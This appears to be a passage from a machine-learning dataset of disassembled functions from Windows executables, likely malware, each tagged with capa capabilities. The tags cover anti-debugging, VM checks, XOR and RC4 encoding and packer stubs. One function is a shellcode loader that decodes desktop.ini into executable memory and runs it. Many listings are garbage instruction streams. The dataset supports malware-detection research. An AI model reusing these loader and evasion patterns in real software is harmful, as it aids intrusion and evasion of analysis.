joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ecfc0
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x48
mov esi, esp
mov dword [esi + 0x30], ebp
mov dword [esi], ecx
mov dword [esi + 0xc], esp
mov ecx, dword [ebp + 0x10]
mov dword [esi + 0x34], esp
mov dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x3c], 0x55d250
mov edx, dword fs:[0]
mov dword [esi + 0x38], edx
mov edx, dword [ebp + 0x14]
mov edi, dword [ebp + 0x18]
mov ebx, dword [ebp + 0x1c]
lea eax, [esi + 0x38]
mov dword fs:[0], eax
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], edx
mov dword [esi + 0x10], ecx
mov edi, dword [esi]
mov eax, dword [edi]
mov eax, dword [eax]
mov dword [esi + 8], eax
push eax
sub esp, 0x2c
mov edx, esp
lea ecx, [edx + 8]
mov eax, dword [edi + 4]
mov dword [esi + 0x24], eax
lea eax, [esi + 0x10]
mov dword [esi + 0x28], eax
lea eax, [esi + 0x18]
mov dword [esi + 0x2c], eax
mov dword [esi], edx
mov dword [edx + 0x2c], 0
mov dword [esi + 0x40], 0
lea eax, [esi + 0x24]
mov dword [esi + 4], ecx
push eax
call fcn.004ed0b0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [esi]
mov dword [edx], ecx
mov dword [edx + 4], eax
mov ecx, dword [esi + 8]
mov eax, dword [ecx]
mov eax, dword [eax + 8]
mov dword [esi + 0x40], 0xffffffff
call eax
mov esp, dword [esi + 0xc]
mov ecx, dword [esi + 0x38]
mov dword fs:[0], ecx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0x18
Function at 0x4f3b60
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x48
mov esi, esp
mov dword [esi + 0x30], ebp
mov dword [esi + 4], ecx
mov eax, dword [ebp + 8]
mov dword [esi + 0x34], esp
mov dword [esi + 0x40], 0xffffffff
lea ecx, [esi + 0x38]
mov dword [esi + 0x3c], 0x55d2b0
mov edx, dword fs:[0]
mov dword [esi + 0x38], edx
mov dword fs:[0], ecx
mov dword [esi + 0x2c], 0
mov dword [esi + 0x40], 0
lea ecx, [esi + 8]
push eax
call fcn.004be400
mov eax, dword [0x599178]
mov ecx, dword [0x59917c]
lea edx, [eax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [esi + 2]
cmp ecx, 0xa
setl byte [esi + 3]
mov eax, 0x69d98d39
lea edi, [esi + 8]
nop
cmp eax, 0x4f855a45
jg 0x4f3c10
cmp eax, 0xc3a50711
je 0x4f3c9d
cmp eax, 0x4dcc5dae
jne 0x4f3be0
mov ecx, edi
push dword [esi + 4]
call fcn.004f7820
mov eax, 0x4f855a46
jmp 0x4f3be0
cmp eax, 0x4f855a46
je 0x4f3c50
cmp eax, 0x69d98d39
jne 0x4f3be0
movzx ecx, byte [esi + 2]
movzx eax, byte [esi + 3]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x4dcc5dae
mov ebx, 0x4f855a46
cmovne eax, ebx
test cl, cl
mov ecx, 0x4dcc5dae
cmove eax, ecx
test dl, dl
cmovne eax, ebx
jmp 0x4f3be0
mov ecx, edi
push dword [esi + 4]
call fcn.004f7820
mov edx, dword [0x599178]
mov ecx, dword [0x59917c]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x4dcc5dae
mov edi, 0xc3a50711
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, ebx
jmp 0x4f3bdc
mov eax, dword [0x5984e8]
mov ecx, dword [0x5984ec]
lea edx, [eax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [esi + 2]
cmp ecx, 0xa
setl byte [esi + 3]
mov eax, 0xe6ca1aa9
lea edi, [esi + 8]
nop dword [eax]
cmp eax, 0xe6ca1aa8
jg 0x4f3cf0
cmp eax, 0x91598fe3
je 0x4f3d25
cmp eax, 0xe67d7961
jne 0x4f3cd0
jmp 0x4f3d79
cmp eax, 0x2a6a9f74
je 0x4f3d33
cmp eax, 0xe6ca1aa9
jne 0x4f3cd0
movzx ecx, byte [esi + 2]
movzx eax, byte [esi + 3]
mov edx, ecx
xor dl, al
mov edx, 0x91598fe3
mov ebx, 0x2a6a9f74
cmovne edx, ebx
test al, al
mov eax, edx
cmovne eax, ebx
test cl, cl
cmove eax, edx
jmp 0x4f3cd0
mov ecx, edi
call fcn.004be5f0
mov eax, 0x2a6a9f74
jmp 0x4f3cd0
mov ecx, edi
call fcn.004be5f0
mov eax, dword [0x5984e8]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x91598fe3
mov ebx, 0xe67d7961
cmove eax, ebx
cmp dword [0x5984ec], 0xa
mov edx, 0x91598fe3
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, ebx
jmp 0x4f3cd0
mov eax, dword [esi + 0x38]
mov dword fs:[0], eax
mov eax, dword [esi + 4]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 4
Function at 0x4fb9a0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x48
mov esi, esp
mov dword [esi + 0x30], ebp
mov dword [esi + 4], ecx
mov ebx, dword [ebp + 8]
mov dword [esi + 0x34], esp
mov dword [esi + 0x40], 0xffffffff
lea eax, [esi + 0x38]
mov dword [esi + 0x3c], 0x55d320
mov ecx, dword fs:[0]
mov dword [esi + 0x38], ecx
mov dword fs:[0], eax
lea edi, [esi + 8]
mov ecx, edi
call fcn.004a1180
mov dword [esi + 0x40], 0
mov ecx, edi
push ebx
call fcn.004fc190
mov eax, dword [0x5992a0]
mov ecx, dword [0x5992a4]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [esi + 2]
cmp ecx, 0xa
setl byte [esi + 3]
mov eax, 0x6719cda9
lea edi, [esi + 8]
nop
cmp eax, 0x55a49e2
jg 0x4fba40
cmp eax, 0x95d28b98
je 0x4fba75
cmp eax, 0xa12df2ef
jne 0x4fba20
jmp 0x4fbadd
cmp eax, 0x55a49e3
je 0x4fba90
cmp eax, 0x6719cda9
jne 0x4fba20
movzx ecx, byte [esi + 2]
movzx eax, byte [esi + 3]
mov edx, ecx
xor dl, al
mov edx, 0x95d28b98
mov ebx, 0x55a49e3
cmovne edx, ebx
test al, al
mov eax, edx
cmovne eax, ebx
test cl, cl
cmove eax, edx
jmp 0x4fba20
mov ecx, edi
push dword [esi + 4]
call fcn.004fc5f0
mov eax, 0x55a49e3
jmp 0x4fba20
mov ecx, edi
push dword [esi + 4]
call fcn.004fc5f0
mov edx, dword [0x5992a0]
mov ecx, dword [0x5992a4]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x95d28b98
mov edi, 0xa12df2ef
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, ebx
jmp 0x4fba1c
mov eax, dword [0x5982d0]
mov ecx, dword [0x5982d4]
lea edx, [eax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [esi + 2]
cmp ecx, 0xa
setl byte [esi + 3]
mov eax, 0x18b7355a
mov ebx, 0x30ec30cb
mov edi, 0xece76fb7
cmp eax, 0x18b73559
jg 0x4fbb40
cmp eax, 0xece76fb7
je 0x4fbb70
cmp eax, 0x117a7da0
jne 0x4fbb10
lea ecx, [esi + 8]
call fcn.004a2820
mov eax, 0xece76fb7
jmp 0x4fbb10
cmp eax, 0x30ec30cb
je 0x4fbbb1
cmp eax, 0x18b7355a
jne 0x4fbb10
movzx ecx, byte [esi + 2]
movzx eax, byte [esi + 3]
mov edx, ecx
xor dl, al
mov edx, 0x117a7da0
cmovne edx, edi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmove eax, edx
jmp 0x4fbb10
lea ecx, [esi + 8]
call fcn.004a2820
mov eax, dword [0x5982d0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x117a7da0
cmove eax, ebx
cmp dword [0x5982d4], 0xa
mov edx, 0x117a7da0
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, ebx
jmp 0x4fbb10
mov eax, dword [esi + 0x38]
mov dword fs:[0], eax
mov eax, dword [esi + 4]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 4
Function at 0x504680
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov dword [ebp - 0x24], esp
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x55d390
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea edi, [ebp + 0xc]
lea eax, [ebp + 0x14]
push eax
sub esp, 0x30
mov ebx, esp
movzx ecx, byte [ebp + 0x3c]
mov byte [ebp - 0x1d], cl
movzx ecx, byte [ebp + 0x40]
mov byte [ebp - 0x1e], cl
lea ecx, [ebx + 4]
mov dword [ebx + 0x28], 0
push eax
call fcn.0050a3b0
mov dword [ebx], edi
movzx eax, byte [ebp - 0x1d]
mov byte [ebx + 0x2c], al
movzx eax, byte [ebp - 0x1e]
mov byte [ebx + 0x30], al
mov dword [ebp - 0x10], 0
mov ecx, esi
call fcn.0050a180
lea esi, [ebp + 8]
mov eax, dword [0x5996f8]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x5996fc], 0xa
setl cl
test cl, al
mov edi, dword [ebp - 0x24]
lea ebx, [ebp + 0x14]
jne 0x50472e
xor cl, al
je 0x504760
jmp 0x50472e
mov esp, edi
mov ecx, ebx
call fcn.004fd970
mov ecx, dword [0x5996f8]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x5996fc], 0xa
setl ch
setge cl
cmp ch, dl
jne 0x50476b
or cl, al
test cl, 1
je 0x50476b
mov esp, edi
mov ecx, ebx
call fcn.004fd970
jmp 0x50472e
mov eax, dword [esi]
mov ecx, dword [ebp - 0x18]
mov dword fs:[0], ecx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x55f430
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x55f46f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x55f46f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x55f46f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x55f46f
cmp dword [ecx + 0x74], 0xe
jbe 0x55f46f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x56f860
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x56f88d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x56f88d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x57896a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00578975
Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x42e01e
popal
nop
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x414a2f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004148a5

Function at 0x419060
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00418bb3

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4d3bf7
Capabilities:
Encode data using xor

Disassembly:
or edi, esp
push ds
in al, dx
out 0, eax
or ch, byte [edi - 0x4cb0304d]
or al, byte [ebp - 0x75]
sbb eax, 0xf7acedca
fild word [esi]
out 0x33, al
out 0x30, eax
cmp bh, byte [edi + 0x16c609c7]
xor esp, edi
xor byte [edx], bh
mov edi, 0x16c609c7
add ebx, dword [eax]
aad 0xfd
enter 0x6fa7, 0xffffffffffffff9e
pushal
jg 0x4d3bab
aas
add dword [esi - 0x62b7e84f], 0x11
ja 0x4d3bb4
push es
invalid
push es
cli
pop es
jnp 0x4d3b94
les esi, [edi]
retf
cmpsd dword [esi], dword es:[edi]
jg 0x4d3c3a
mov eax, 0x59b47fb7
iretd
sti
ja 0x4d3be8
dec edi
lea edx, [ebp + 0x49b8d153]
stc
push esi
mov bl, bh
sti
bound edi, qword [esi + 0x1b]
std
and dword [ecx], esi
cmpsd dword [esi], dword es:[edi]
sub al, 0xd4
ret 0x4756

Function at 0x600364
Capabilities:
Encode data using xor

Disassembly:
pop ecx
pop ds
stosb byte es:[edi], al
pop es
ljmp 0xd1a8
mov dh, 0xee
scasd eax, dword es:[edi]
mov ch, 0x97
jecxz 0x600337
sbb al, 0x26
jl 0x600383
jge 0x60037a
push 0xf0faa9f
inc ebp
push ss
jae 0x6003b3
fmul qword [esi - 7]
stc
push ecx
aad 0x14
outsb dx, byte [esi]
ror byte [edi], 1
cmpsb byte [esi], byte es:[edi]
pop ecx
dec ecx
fist dword [ebx + esi*2]
inc ecx
jg 0x6003cc
push ds
aaa
outsd dx, dword [esi]
insd dword es:[edi], dx
aaa
jb 0x60037e
daa
rcl byte [eax]
int 0xed
adc ch, cl
in eax, dx
sbb eax, 0xab0740c3
inc eax
pop es
stosd dword es:[edi], eax
mov dh, 0xda
daa
adc byte [ebp - 0x925a207], cl
lcall 0xdad3, 0x88ae4636
in al, 0x29
jne 0x600397
sub dword [ebp - 3], esi
div dword [ebp + 0x79]
test byte [edx], al
jo 0x60041e
mov eax, 0x4e31a6c9
insd dword es:[edi], dx
xchg esi, eax
dec eax
lodsb al, byte [esi]
add esp, esp
sti
lcall 0xad94, 0x6fbd6751
lodsd eax, dword [esi]
jb 0x60034c
loop 0x600406
fisttp dword [eax - 0x17]
inc esi
sbb byte [edx - 0x6f], 0x63
or al, 0xda
adc dword [eax], 0x659270
je 0x600443
mov cl, 0xea
das
add al, cl
pop ebp
cmp byte [edx], bh
push ss
jg 0x6003cc
inc ecx
sbb esi, dword [edx]
jbe 0x60035e
cmpsb byte [esi], byte es:[edi]
cmp esi, esi
and eax, 0x79c5ac8f
out dx, eax
mov al, byte [0x2584129f]
cwde
inc ecx
dec edx
daa
ficomp dword [esi + 0xc]
push eax
or byte [edx + 0x23], ch
mov al, byte [0xc4caa4ab]
cwde
movsd dword es:[edi], dword [esi]
sbb dword [esi], 0x49
and byte [esi - 0x453dd6f3], ah
cdq
cdq
retf 0x98c4
loope 0x6003f7
adc cl, dl
cmpsb byte [esi], byte es:[edi]
sub dword [0xdcf59e51], esi
mov dl, 0xf
mov ah, 0x28
cmp esi, ecx
add esp, dword [esi - 0x2d]
xadd byte [eax + 0x48], ah
sub esp, dword [esi - 0x22]
xchg ebx, eax
invalid
mov ebx, dword [esi + 0x4305adec]
add eax, 0xb3107eb3
inc ecx
mov cl, 0x41
and ecx, esp
cmp dword [ecx + 0x23], edi
jmp 0x13c9fe69
Function at 0x43e927
Capabilities:
Encode data using xor

Disassembly:
and edi, edi
push ds
out 0xa1, eax
pop ds
pop edi
out 0xff, al
push ds
jne 0x43e8f7
or dword [esi - 0x13c6c5a5], ebx
sbb dl, dh
ret
insb byte es:[edi], dx
stc
iretd
imul esp, ecx, 0x2b
lodsd eax, dword [esi]
ror al, 0x71
into
cmp al, al
pop edi
xor byte [eax + 0x31906c48], 0x49
sbb byte [eax], bl
je 0x43e87b
loope 0x43e88d
sti
pop eax
inc edi
xchg byte [eax - 0x4697447c], ch
mov dword [eax], edi
arpl word [edi + 0x5bc91b4c], di
xchg dword [ecx + ebx*2], ebx
sti
xchg ebx, eax
xor al, 0x2b
jmp 0x43e8a5
in al, dx
sub esp, eax
dec esp
mov bh, byte [ebx + edi*8]
xor bh, byte [edx - 0x1596f525]
imul ebp, edx, 0x1fd93b09
imul ebp, edx, 0x1fd93b09
les ebx, [ebx]
imul esp, ebx, 0xffffffc7
fisttp word [ebx - 0x1f34f845]
sbb dword [ebp + 0x14], esp
fsubr st(2), st(0)
push esi
dec ebx
loopne 0x43e91c
lodsb al, byte [esi]
dec ebx
pop ebp
loop 0x43e8dd
jbe 0x43e94d
salc
cwde
sbb eax, 0xccca43cb
mov al, byte [0x70245ea0]
add bh, dl
retf 0x8d19
retf 0xa0cc

Function at 0x4ed544
Capabilities:
Encode data using xor

Disassembly:
xchg esi, eax
fdivr qword [edx + ebp*8 - 0x46f72998]
dec edi
mov dl, byte [edi + 0x18]
mov dl, 0x7a
ja 0x4ed5b7
cmp dword [edx + edx*8 - 0x31], edx
pop ss
into
insb byte es:[edi], dx
jmp 0x298fdf4f
xor bl, byte es:[ecx]
xchg dword [0x49a4dbb1], edx
dec esp
dec eax
inc ebp
add esi, ecx
js 0x4ed624
cli
inc esp
and bl, byte [ecx + ebp - 0x58762bc8]
mov es, word [ebp + 0x5c]
adc byte [ecx - 0x2e85b52b], cl
loope 0x4ed605
mov esi, 0xce7ef277
invalid
invalid
inc edx
imul ecx, dword [ebp - 0x7a], 0xdcf7d9bf
xchg ecx, eax
push ecx
aaa
jle 0x4ed61c
or bl, al
pop ebp
cmpsd dword [esi], dword es:[edi]
fdivr st(5), st(0)
stosb byte es:[edi], al
sub dword [esi + 2], esi
cmpsd dword [esi], dword es:[edi]
add eax, 0xffffffe1
stc
invalid

Function at 0x4f63e0
Capabilities:
Encode data using xor

Disassembly:
stc
lodsb al, byte [esi]
ret 0x97df
xchg ebp, eax
add eax, 0x86b01aa
js 0x4f6409
sbb dl, byte [ecx - 0xa]
cmp dword [ebx + 0x1a24a7f9], eax
js 0x4f646a
fsubp st(0)
xchg edx, eax
fldl2t
loop 0x4f63c5
jno 0x4f6428
inc ebx
or al, 0xde
add al, 0x80
cmpsb byte [esi], byte es:[edi]
xor eax, 0xc0f72cc5
mov esp, ebp
xchg edi, eax
and dword [esi], esp
or byte [0x48b1c9c7], 0xe3
xor eax, 0x3458b132
cmp ch, byte [0x6e421482]
invalid
dec edx
cdq
jecxz 0x4f6401
add bl, cl
adc dword [ebp + 0x622a4a0d], ebp
pop ebx
and bh, byte [edi]
adc bh, bh
xchg esp, eax
dec eax
pop edi
lahf
dec esi
cmp ecx, ebx
xchg edx, eax
sub al, 0xc9
xor dword [edx - 0x44], ebx
fucom st(3)
push ecx
or al, 0x10
invalid
sub edi, dword [eax + 0x30]
or ecx, esi
cmpsb byte [esi], byte es:[edi]
mov cl, 0xf1
add cl, byte [ecx + 0x4d2c389f]
mov ecx, 0xf3b562a
mov word [ecx + 8], fs
inc ecx
sub cl, byte [0x22899476]
sub dword [ebx], esi
mov bh, 0x87
add al, 0xbc
in al, 0x2e
test byte [ecx - 0x76f94642], ch
or eax, 0x843085be
imul eax, dword [ecx + ebp*8 - 0x7b43f4c1], 0xd897e032
mov ah, 0xa4
mov gs, word [ecx - 0x14]
invalid
Function at 0x53a6c8
Capabilities:
Check for vm using instruction vpcext

Disassembly:
sbb eax, 0x1f7fb20b
add al, 0x5e
ror dword [esp - 0xa], 1
aaa
sal byte [edx], 0xc7
cmp al, 0x8c
mov ebp, cs
leave
and eax, esp
push ecx
stosd dword es:[edi], eax
int1
popal
pushal
popal
test bh, bh
jae 0x53a699
invalid
lodsb al, byte [esi]
movsb byte es:[edi], byte [esi]
xor dword [esi + ecx*4 + 0x4f0125dd], edi
jge 0x53a684
in al, dx
popal
jno 0x53a63c
lodsd eax, dword [esi]
outsb dx, byte [esi]
push ecx
shr dword ds:[eax - 0x6aef0419], 1
mov eax, dword [0x51e17c9e]
cmp dword [ecx], ebx
scasd eax, dword es:[edi]
mov al, byte [0x2715a714]
mov edi, 0xfc7585ad
adc eax, 0x85adbf27
jne 0x53a676
lodsd eax, dword [esi]
test dword [ebp - 4], esi
inc ecx
test al, 0xb1
sbb al, 0x65
sar ah, cl
das
inc ecx
iretd
push ss
cld
add dword [ebx - 0x509a1cbd], edi
cmp al, 0xe1
jo 0x53a62d
jno 0x53a6de
popfd
mov ecx, 0xc0708e4c
push esi
pop ds
shl byte [0x3cc72315], cl
loope 0x53a683
lds ebp, [ebp - 0x6f]
salc
scasd eax, dword es:[edi]
insb byte es:[edi], dx
adc byte [edi], dh
arpl word [esi - 0x40c87995], cx
cmp dword [edi - 0x60], ebx
dec edi
mov edx, 0xd76c90e8
test al, 0xa7
adc dword [edx], esp
sbb dword [eax - 0x5f06a2e6], esp
scasb al, byte es:[edi]
adc bh, bh
mov al, 0xc5
in eax, dx
popfd
out dx, eax
mov dword [0x40fa9ed7], eax
mov eax, 0x399cd5a3
push edi
jo 0x53a685
push esi
in al, dx
shl dword cs:[ebx], 1
jb 0x53a673
leave
cmp al, 0xe
sub byte [eax - 0xd], dh
push edi
and eax, 0x3e63ae78
ror dword [esi + 0x46], 0xa
daa
sbb eax, 0xdcf32fa1
cmp dword [edi - 0x7a], ebp
pop ss
pop ecx
invalid

Function at 0x569e07
Capabilities:
Encode data using xor

Disassembly:
rcr byte [eax - 4], cl
and al, cl
cld
sub al, 0x31
push esi
push 0x50
push esi
push 0xffffffffffffffeb
xor dword [eax - 0x28], edi
sbb esi, 0x17
scasb al, byte es:[edi]
pop edx
mul byte [ebp + 0x61]
in eax, dx
push cs
mov bh, bh
or dl, ch
std
loope 0x569dfc
test ch, bl
sbb al, 0x15
adc esi, ecx
xor al, 0xc7
adc eax, 0xc734ce11
mov cl, 0x1d
outsb dx, byte [esi]
sahf
cmp edx, dword [edi + 0x2c665e08]
out dx, al
dec esi
xor dword [ecx - 0x700e1a97], 0x8cf03308
loope 0x569e23
adc byte [eax + 0x48], 0xec
stc
push ss
jmp 0x89959b51

Function at 0x575a90
Capabilities:
Encode data using xor

Disassembly:
jecxz 0x575a2f
push edi
push edi
das
int1
inc ecx
scasb al, byte es:[edi]
les esp, [esi - 0x3c]
jle 0x5759fa
invalid
movsd dword es:[edi], dword [esi]
push ebp
inc ebx
pop ss
fild word [edx - 0x27]
push ds
pop ds
mov ah, ch
loope 0x575a6e
push ebx
xor edi, esi
invalid
Function at 0x5b539b
Capabilities:
Encode data using xor

Disassembly:
add eax, 0x4cf2f114
mov byte [0x9a965fdf], al
xchg ecx, eax
inc eax
xor ch, 3
jmp 0x5b5367
pop edi
xchg esi, eax
lcall 0xeb03, 0xf5824091
daa
fucomp st(5)
push cs
sub dword [edi + 0x16871668], esp
push ss
xchg dword [esi], edx
xchg ebp, eax
dec ebp
xor ah, byte [edx + 0x3f23f0bf]
imul edx, dword [eax + ecx*2 - 0x70793efe], 0xffffffce
rcl byte [edi + 0x14], 0xc6
sub eax, 0x727744fc
bound ecx, qword [edi - 0x5ada6249]
popfd
and eax, 0x1450b9a5
xor eax, 0x9ffc848e
movsd dword es:[edi], dword [esi]
mov ecx, 0x8e351450
test ah, bh
lahf
mov ah, 0x63
jbe 0x5b5365
int 0x48
xchg ebx, eax
sbb dword [ecx + 0x16059144], edx
scasd eax, dword es:[edi]
mov dl, 0x25
xor byte [edi - 0x3a], dl
stc
je 0x5b532f
xlatb
xchg ebp, eax
mov eax, dword [0x50169553]
or al, 0x3a
cmp bh, ah
xor al, 0x87
xchg esp, eax
cmp al, 0x5f
and al, 0x40
cwde
ret
mov esp, 0x15b49271
cmc
jae 0x5b5336
pushal
rol ah, 0xa5
cmp al, byte [ecx + 0x269b2742]
outsb dx, byte [esi]
xor dword [edx + edi - 0x527ec982], eax
rcr dword [esi + 0x64], 1
nop
mov ah, 0xa4
or ch, byte [ebp - 0x6bf1c1e1]
jl 0x5b53fa
movsb byte es:[edi], byte [esi]
invalid
invalid

Function at 0x5d0b58
Capabilities:
Encode data using xor

Disassembly:
mov ch, 0xad
rcr byte [esp + esi], cl
lodsd eax, dword [esi]
sal edx, 0x13
mov bl, 0x6e
pushal
sub al, 0x80
adc al, dl
ret 0x70ed
jecxz 0x5d0b3c
call 0x4260e641
xor ch, al
mov word [esi + 0x7030ed02], cs
das
call 0xed5f99f1
xor byte [eax + 0x2f], dh
add byte [edx + 0x3242d241], dl
pushfd
xchg edx, eax
and eax, 0xecb9b4e3
lahf
sub byte [edx], dl
xor bl, byte [ebx + esi*8 - 0x4b1cda6e]
mov ecx, 0x12289fec
sbb eax, 0x7ed25e0d
inc eax
xor bl, byte [edi + 0x3fd7e2b0]
pop edi
sub bl, cl
stosb byte es:[edi], al
test dword [ebp + 0x48], edx
jecxz 0x5d0b60
in al, 0x42
cmp edi, dword [edx]
xchg edx, eax
adc dl, byte [edx + 0x1c5872a2]
and dword [edi], ecx
xor esp, dword [esi]
nop
loope 0x5d0b6d
jecxz 0x5d0c09
or dl, byte [esi + 1]
aas
ret 0x4473
inc ebp
mov byte [0x290235e8], al
cmp bl, byte [edx]
inc ecx
push esi
jle 0x5d0c7f
imul edx, dword [edx], 0xf0124cdf
dec edi
ficomp word [esi - 0x6cc888de]
and dh, byte [edi + 0x37]
xchg ebx, eax
mov dword [0xa3a8ddc1], eax
mov dl, 0xf8
push cs
outsb dx, byte [esi]
xor eax, 0x949eb6c
shr byte ss:[esi], cl
jb 0x5d0c4f
test byte [edx], 0x7a
ror byte [eax + esi*8], cl
inc esi
dec edx
imul edi, dword [ebp - 0x4d], 0x17
dec ebp
mov byte [0x5321a612], al
jbe 0x5d0bf4
adc byte [edi], cl
xchg ebx, eax
lea eax, [edi + 6]
push edx
invalid
xchg ebx, eax
pop esi
jmp 0xfaedebca
and ch, byte [ebx + 0x3e5b32f]
push ds
imul byte [esi + 0x72]
mov gs, word [edi + 0x2d]
push edx
invalid
Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x40894a
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop eax
call fcn.00408969
xor dword [edx], eax
or esi, esi
add edx, 1
add esi, ebx
cmp edx, edi
jne fcn.0040894a
dec esi
ret
Function at 0xb23370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xb2338e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
